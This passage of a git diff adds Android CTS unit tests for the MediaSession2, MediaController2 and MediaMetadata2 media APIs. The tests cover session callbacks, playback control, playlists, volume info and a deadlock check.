+    @Test
+    public void testPrepareFromSearch() throws InterruptedException {
+        final String request = "random query";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+                    String query, Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, query);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPrepareFromSearch").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.prepareFromSearch(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPrepareFromUri() throws InterruptedException {
+        final Uri request = Uri.parse("foo://boo");
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+                    Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, uri);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPrepareFromUri").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.prepareFromUri(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPrepareFromMediaId() throws InterruptedException {
+        final String request = "media_id";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+                    String mediaId, Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, mediaId);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPrepareFromMediaId").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.prepareFromMediaId(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetRating() throws InterruptedException {
+        final int ratingType = Rating2.RATING_5_STARS;
+        final float ratingValue = 3.5f;
+        final Rating2 rating = Rating2.newStarRating(ratingType, ratingValue);
+        final String mediaId = "media_id";
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onSetRating(MediaSession2 session, ControllerInfo controller,
+                    String mediaIdOut, Rating2 ratingOut) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(mediaId, mediaIdOut);
+                assertEquals(rating, ratingOut);
+                latch.countDown();
+            }
+        };
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testSetRating").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.setRating(mediaId, rating);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testIsConnected() throws InterruptedException {
+        assertTrue(mController.isConnected());
+        sHandler.postAndSync(()->{
+            mSession.close();
+        });
+        // postAndSync() to wait until the disconnection is propagated.
+        sHandler.postAndSync(()->{
+            assertFalse(mController.isConnected());
+        });
+    }
+
+    /**
+     * Test potential deadlock for calls between controller and session.
+     */
+    @Test
+    public void testDeadlock() throws InterruptedException {
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = null;
+        });
+
+        // Two more threads are needed not to block test thread nor test wide thread (sHandler).
+        final HandlerThread sessionThread = new HandlerThread("testDeadlock_session");
+        final HandlerThread testThread = new HandlerThread("testDeadlock_test");
+        sessionThread.start();
+        testThread.start();
+        final SyncHandler sessionHandler = new SyncHandler(sessionThread.getLooper());
+        final Handler testHandler = new Handler(testThread.getLooper());
+        final CountDownLatch latch = new CountDownLatch(1);
+        try {
+            final MockPlayer player = new MockPlayer(0);
+            sessionHandler.postAndSync(() -> {
+                mSession = new MediaSession2.Builder(mContext)
+                        .setPlayer(mPlayer)
+                        .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                        .setId("testDeadlock").build();
+            });
+            final MediaController2 controller = createController(mSession.getToken());
+            testHandler.post(() -> {
+                final int state = MediaPlayerBase.PLAYER_STATE_ERROR;
+                for (int i = 0; i < 100; i++) {
+                    // triggers call from session to controller.
+                    player.notifyPlaybackState(state);
+                    // triggers call from controller to session.
+                    controller.play();
+
+                    // Repeat above
+                    player.notifyPlaybackState(state);
+                    controller.pause();
+                    player.notifyPlaybackState(state);
+                    controller.stop();
+                    player.notifyPlaybackState(state);
+                    controller.skipToNextItem();
+                    player.notifyPlaybackState(state);
+                    controller.skipToPreviousItem();
+                }
+                // This may hang if deadlock happens.
+                latch.countDown();
+            });
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            if (mSession != null) {
+                sessionHandler.postAndSync(() -> {
+                    // Clean up here because sessionHandler will be removed afterwards.
+                    mSession.close();
+                    mSession = null;
+                });
+            }
+            if (sessionThread != null) {
+                sessionThread.quitSafely();
+            }
+            if (testThread != null) {
+                testThread.quitSafely();
+            }
+        }
+    }
+
+    @Test
+    public void testGetServiceToken() {
+        SessionToken2 token = TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID);
+        assertNotNull(token);
+        assertEquals(mContext.getPackageName(), token.getPackageName());
+        assertEquals(MockMediaSessionService2.ID, token.getId());
+        assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+    }
+
+    @Test
+    public void testConnectToService_sessionService() throws InterruptedException {
+        testConnectToService(MockMediaSessionService2.ID);
+    }
+
+    @Ignore
+    @Test
+    public void testConnectToService_libraryService() throws InterruptedException {
+        testConnectToService(MockMediaLibraryService2.ID);
+    }
+
+    public void testConnectToService(String id) throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+                    @NonNull ControllerInfo controller) {
+                if (Process.myUid() == controller.getUid()) {
+                    if (mSession != null) {
+                        mSession.close();
+                    }
+                    mSession = session;
+                    mPlayer = (MockPlayer) session.getPlayer();
+                    assertEquals(mContext.getPackageName(), controller.getPackageName());
+                    assertFalse(controller.isTrusted());
+                    latch.countDown();
+                }
+                return super.onConnect(session, controller);
+            }
+        };
+        TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+
+        mController = createController(TestUtils.getServiceToken(mContext, id));
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        // Test command from controller to session service
+        mController.play();
+        assertTrue(mPlayer.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mPlayer.mPlayCalled);
+
+        // Test command from session service to controller
+        // TODO(jaewan): Add equivalent tests again
+        /*
+        final CountDownLatch latch = new CountDownLatch(1);
+        mController.registerPlayerEventCallback((state) -> {
+            assertNotNull(state);
+            assertEquals(PlaybackState.STATE_REWINDING, state.getState());
+            latch.countDown();
+        }, sHandler);
+        mPlayer.notifyPlaybackState(
+                TestUtils.createPlaybackState(PlaybackState.STATE_REWINDING));
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        */
+    }
+
+    @Test
+    public void testControllerAfterSessionIsGone_session() throws InterruptedException {
+        testControllerAfterSessionIsGone(mSession.getToken().getId());
+    }
+
+    // TODO(jaewan): Re-enable this test
+    @Ignore
+    @Test
+    public void testControllerAfterSessionIsGone_sessionService() throws InterruptedException {
+        /*
+        connectToService(TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID));
+        testControllerAfterSessionIsGone(MockMediaSessionService2.ID);
+        */
+    }
+
+    @Test
+    public void testClose_beforeConnected() throws InterruptedException {
+        MediaController2 controller =
+                createController(mSession.getToken(), false, null);
+        controller.close();
+    }
+
+    @Test
+    public void testClose_twice() {
+        mController.close();
+        mController.close();
+    }
+
+    @Test
+    public void testClose_session() throws InterruptedException {
+        final String id = mSession.getToken().getId();
+        mController.close();
+        // close is done immediately for session.
+        testNoInteraction();
+
+        // Test whether the controller is notified about later close of the session or
+        // re-creation.
+        testControllerAfterSessionIsGone(id);
+    }
+
+    @Test
+    public void testClose_sessionService() throws InterruptedException {
+        testCloseFromService(MockMediaSessionService2.ID);
+    }
+
+    @Test
+    public void testClose_libraryService() throws InterruptedException {
+        testCloseFromService(MockMediaLibraryService2.ID);
+    }
+
+    private void testCloseFromService(String id) throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        TestServiceRegistry.getInstance().setSessionServiceCallback(new SessionServiceCallback() {
+            @Override
+            public void onDestroyed() {
+                latch.countDown();
+            }
+        });
+        mController = createController(TestUtils.getServiceToken(mContext, id));
+        mController.close();
+        // Wait until close triggers onDestroy() of the session service.
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertNull(TestServiceRegistry.getInstance().getServiceInstance());
+        testNoInteraction();
+
+        // Test whether the controller is notified about later close of the session or
+        // re-creation.
+        testControllerAfterSessionIsGone(id);
+    }
+
+    private void testControllerAfterSessionIsGone(final String id) throws InterruptedException {
+        sHandler.postAndSync(() -> {
+            // TODO(jaewan): Use Session.close later when we add the API.
+            mSession.close();
+        });
+        waitForDisconnect(mController, true);
+        testNoInteraction();
+
+        // Ensure that the controller cannot use newly create session with the same ID.
+        sHandler.postAndSync(() -> {
+            // Recreated session has different session stub, so previously created controller
+            // shouldn't be available.
+            mSession = new MediaSession2.Builder(mContext)
+                    .setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                    .setId(id).build();
+        });
+        testNoInteraction();
+    }
+
+    private void testNoInteraction() throws InterruptedException {
+        // TODO: Uncomment
+        /*
+        final CountDownLatch latch = new CountDownLatch(1);
+        final PlayerEventCallback callback = new PlayerEventCallback() {
+            @Override
+            public void onPlaybackStateChanged(PlaybackState2 state) {
+                fail("Controller shouldn't be notified about change in session after the close.");
+                latch.countDown();
+            }
+        };
+        */
+
+        // TODO(jaewan): Add equivalent tests again
+        /*
+        mController.registerPlayerEventCallback(playbackListener, sHandler);
+        mPlayer.notifyPlaybackState(TestUtils.createPlaybackState(PlaybackState.STATE_BUFFERING));
+        assertFalse(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        mController.unregisterPlayerEventCallback(playbackListener);
+        */
+    }
+
+    // TODO(jaewan): Add  test for service connect rejection, when we differentiate session
+    //               active/inactive and connection accept/refuse
+
+    class TestVolumeProvider extends VolumeProvider2 {
+        final CountDownLatch mLatch = new CountDownLatch(1);
+        boolean mSetVolumeToCalled;
+        boolean mAdjustVolumeCalled;
+        int mVolume;
+        int mDirection;
+
+        public TestVolumeProvider(int controlType, int maxVolume, int currentVolume) {
+            super(controlType, maxVolume, currentVolume);
+        }
+
+        @Override
+        public void onSetVolumeTo(int volume) {
+            mSetVolumeToCalled = true;
+            mVolume = volume;
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onAdjustVolume(int direction) {
+            mAdjustVolumeCalled = true;
+            mDirection = direction;
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
new file mode 100644
index 0000000..7c9f5b5
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.media.MediaMetadata2;
+import android.media.MediaMetadata2.Builder;
+import android.media.Rating2;
+import android.os.Bundle;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaMetadata2Test {
+    @Test
+    public void testBuilder() {
+        final Bundle extras = new Bundle();
+        extras.putString("MediaMetadata2Test", "testBuilder");
+        final String title = "title";
+        final long discNumber = 10;
+        final Rating2 rating = Rating2.newThumbRating(true);
+
+        Builder builder = new Builder();
+        builder.setExtras(extras);
+        builder.putString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE, title);
+        builder.putLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER, discNumber);
+        builder.putRating(MediaMetadata2.METADATA_KEY_USER_RATING, rating);
+
+        MediaMetadata2 metadata = builder.build();
+        assertTrue(TestUtils.equals(extras, metadata.getExtras()));
+        assertEquals(title, metadata.getString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE));
+        assertEquals(discNumber, metadata.getLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER));
+        assertEquals(rating, metadata.getRating(MediaMetadata2.METADATA_KEY_USER_RATING));
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
new file mode 100644
index 0000000..99dc720
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -0,0 +1,877 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.AudioAttributes.CONTENT_TYPE_MUSIC;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaController2.PlaybackInfo;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.Builder;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.VolumeProvider2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSession2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2Test extends MediaSession2TestBase {
+    private static final String TAG = "MediaSession2Test";
+
+    private MediaSession2 mSession;
+    private MockPlayer mPlayer;
+    private MockPlaylistAgent mMockAgent;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mPlayer = new MockPlayer(0);
+        mMockAgent = new MockPlaylistAgent();
+        mSession = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(mMockAgent)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(MediaSession2 session,
+                            ControllerInfo controller) {
+                        if (Process.myUid() == controller.getUid()) {
+                            return super.onConnect(session, controller);
+                        }
+                        return null;
+                    }
+                }).build();
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        mSession.close();
+    }
+
+    @Ignore
+    @Test
+    public void testBuilder() {
+        try {
+            MediaSession2.Builder builder = new Builder(mContext);
+            fail("null player shouldn't be allowed");
+        } catch (IllegalArgumentException e) {
+            // expected. pass-through
+        }
+        MediaSession2.Builder builder = new Builder(mContext).setPlayer(mPlayer);
+        try {
+            builder.setId(null);
+            fail("null id shouldn't be allowed");
+        } catch (IllegalArgumentException e) {
+            // expected. pass-through
+        }
+    }
+
+    @Test
+    public void testPlayerStateChange() throws Exception {
+        final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                        @Override
+                        public void onPlayerStateChanged(MediaSession2 session,
+                                MediaPlayerBase player, int state) {
+                            assertEquals(targetState, state);
+                            latchForSessionCallback.countDown();
+                        }
+                    }).build();
+        });
+
+        final CountDownLatch latchForControllerCallback = new CountDownLatch(1);
+        final MediaController2 controller =
+                createController(mSession.getToken(), true, new ControllerCallback() {
+                    @Override
+                    public void onPlayerStateChanged(MediaController2 controllerOut, int state) {
+                        assertEquals(targetState, state);
+                        latchForControllerCallback.countDown();
+                    }
+                });
+
+        mPlayer.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+        assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(latchForControllerCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertEquals(targetState, controller.getPlayerState());
+    }
+
+    @Test
+    public void testCurrentDataSourceChanged() throws Exception {
+        final int listSize = 5;
+        final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+
+        MediaItem2 currentItem = list.get(3);
+
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testCurrentDataSourceChanged")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onCurrentMediaItemChanged(MediaSession2 session,
+                            MediaPlayerBase player, MediaItem2 itemOut) {
+                        assertSame(currentItem, itemOut);
+                        latchForSessionCallback.countDown();
+                    }
+                }).build()) {
+
+            mPlayer.notifyCurrentDataSourceChanged(currentItem.getDataSourceDesc());
+            assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+        }
+    }
+
+    @Test
+    public void testMediaPrepared() throws Exception {
+        final int listSize = 5;
+        final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+
+        MediaItem2 currentItem = list.get(3);
+
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testMediaPrepared")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onMediaPrepared(MediaSession2 session, MediaPlayerBase player,
+                            MediaItem2 itemOut) {
+                        assertSame(currentItem, itemOut);
+                        latchForSessionCallback.countDown();
+                    }
+                }).build()) {
+
+            mPlayer.notifyMediaPrepared(currentItem.getDataSourceDesc());
+            assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+        }
+    }
+
+    @Test
+    public void testBufferingStateChanged() throws Exception {
+        final int listSize = 5;
+        final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+
+        MediaItem2 currentItem = list.get(3);
+        final int buffState = MediaPlayerBase.BUFFERING_STATE_BUFFERING_COMPLETE;
+
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testBufferingStateChanged")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onBufferingStateChanged(MediaSession2 session,
+                            MediaPlayerBase player, MediaItem2 itemOut, int stateOut) {
+                        assertSame(currentItem, itemOut);
+                        assertEquals(buffState, stateOut);
+                        latchForSessionCallback.countDown();
+                    }
+                }).build()) {
+
+            mPlayer.notifyBufferingStateChanged(currentItem.getDataSourceDesc(), buffState);
+            assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+        }
+    }
+
+    @Test
+    public void testUpdatePlayer() throws Exception {
+        final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        final CountDownLatch latch = new CountDownLatch(1);
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                        @Override
+                        public void onPlayerStateChanged(MediaSession2 session,
+                                MediaPlayerBase player, int state) {
+                            assertEquals(targetState, state);
+                            latch.countDown();
+                        }
+                    }).build();
+        });
+
+        MockPlayer player = new MockPlayer(0);
+
+        // Test if setPlayer doesn't crash with various situations.
+        mSession.updatePlayer(mPlayer, null, null);
+        assertEquals(mPlayer, mSession.getPlayer());
+        MediaPlaylistAgent agent = mSession.getPlaylistAgent();
+        assertNotNull(agent);
+
+        mSession.updatePlayer(player, null, null);
+        assertEquals(player, mSession.getPlayer());
+        assertNotNull(mSession.getPlaylistAgent());
+        assertNotEquals(agent, mSession.getPlaylistAgent());
+
+        player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+   }
+
+    @Test
+    public void testSetPlayer_playbackInfo() throws Exception {
+        MockPlayer player = new MockPlayer(0);
+        AudioAttributes attrs = new AudioAttributes.Builder()
+                .setContentType(CONTENT_TYPE_MUSIC)
+                .build();
+        player.setAudioAttributes(attrs);
+
+        final int maxVolume = 100;
+        final int currentVolume = 23;
+        final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        VolumeProvider2 volumeProvider =
+                new VolumeProvider2(volumeControlType, maxVolume, currentVolume) { };
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaybackInfoChanged(MediaController2 controller,
+                    PlaybackInfo info) {
+                Assert.assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+                assertEquals(attrs, info.getAudioAttributes());
+                assertEquals(volumeControlType, info.getPlaybackType());
+                assertEquals(maxVolume, info.getMaxVolume());
+                assertEquals(currentVolume, info.getCurrentVolume());
+                latch.countDown();
+            }
+        };
+
+        mSession.updatePlayer(player, null, null);
+
+        final MediaController2 controller = createController(mSession.getToken(), true, callback);
+        PlaybackInfo info = controller.getPlaybackInfo();
+        assertNotNull(info);
+        assertEquals(PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
+        assertEquals(attrs, info.getAudioAttributes());
+        AudioManager manager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        int localVolumeControlType = manager.isVolumeFixed()
+                ? VolumeProvider2.VOLUME_CONTROL_FIXED : VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        assertEquals(localVolumeControlType, info.getControlType());
+        assertEquals(manager.getStreamMaxVolume(AudioManager.STREAM_MUSIC), info.getMaxVolume());
+        assertEquals(manager.getStreamVolume(AudioManager.STREAM_MUSIC), info.getCurrentVolume());
+
+        mSession.updatePlayer(player, null, volumeProvider);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+        info = controller.getPlaybackInfo();
+        assertNotNull(info);
+        assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+        assertEquals(attrs, info.getAudioAttributes());
+        assertEquals(volumeControlType, info.getControlType());
+        assertEquals(maxVolume, info.getMaxVolume());
+        assertEquals(currentVolume, info.getCurrentVolume());
+    }
+
+    @Test
+    public void testPlay() throws Exception {
+        sHandler.postAndSync(() -> {
+            mSession.play();
+            assertTrue(mPlayer.mPlayCalled);
+        });
+    }
+
+    @Test
+    public void testPause() throws Exception {
+        sHandler.postAndSync(() -> {
+            mSession.pause();
+            assertTrue(mPlayer.mPauseCalled);
+        });
+    }
+
+    @Ignore
+    @Test
+    public void testStop() throws Exception {
+        sHandler.postAndSync(() -> {
+            mSession.stop();
+            assertTrue(mPlayer.mStopCalled);
+        });
+    }
+
+    @Test
+    public void testSkipToPreviousItem() {
+        mSession.skipToPreviousItem();
+        assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+    }
+
+    @Test
+    public void testSkipToNextItem() throws Exception {
+        mSession.skipToNextItem();
+        assertTrue(mMockAgent.mSkipToNextItemCalled);
+    }
+
+    @Test
+    public void testSkipToPlaylistItem() throws Exception {
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.skipToPlaylistItem(testMediaItem);
+        assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testGetPlayerState() {
+        final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        mPlayer.mLastPlayerState = state;
+        assertEquals(state, mSession.getPlayerState());
+    }
+
+    @Test
+    public void testGetPosition() {
+        final long position = 150000;
+        mPlayer.mCurrentPosition = position;
+        assertEquals(position, mSession.getCurrentPosition());
+    }
+
+    @Test
+    public void testGetBufferedPosition() {
+        final long bufferedPosition = 900000;
+        mPlayer.mBufferedPosition = bufferedPosition;
+        assertEquals(bufferedPosition, mSession.getBufferedPosition());
+    }
+
+    @Test
+    public void testSetPlaylist() {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        mSession.setPlaylist(list, null);
+        assertTrue(mMockAgent.mSetPlaylistCalled);
+        assertSame(list, mMockAgent.mPlaylist);
+        assertNull(mMockAgent.mMetadata);
+    }
+
+    @Test
+    public void testGetPlaylist() {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        mMockAgent.mPlaylist = list;
+        assertEquals(list, mSession.getPlaylist());
+    }
+
+    @Test
+    public void testUpdatePlaylistMetadata() {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        mSession.updatePlaylistMetadata(testMetadata);
+        assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+        assertSame(testMetadata, mMockAgent.mMetadata);
+    }
+
+    @Test
+    public void testGetPlaylistMetadata() {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        mMockAgent.mMetadata = testMetadata;
+        assertEquals(testMetadata, mSession.getPlaylistMetadata());
+    }
+
+    @Test
+    public void testSessionCallback_onPlaylistChanged() throws InterruptedException {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public void onPlaylistChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+                    List<MediaItem2> playlist, MediaMetadata2 metadata) {
+                assertEquals(agent, playlistAgent);
+                assertEquals(list, playlist);
+                assertNull(metadata);
+                latch.countDown();
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testSessionCallback")
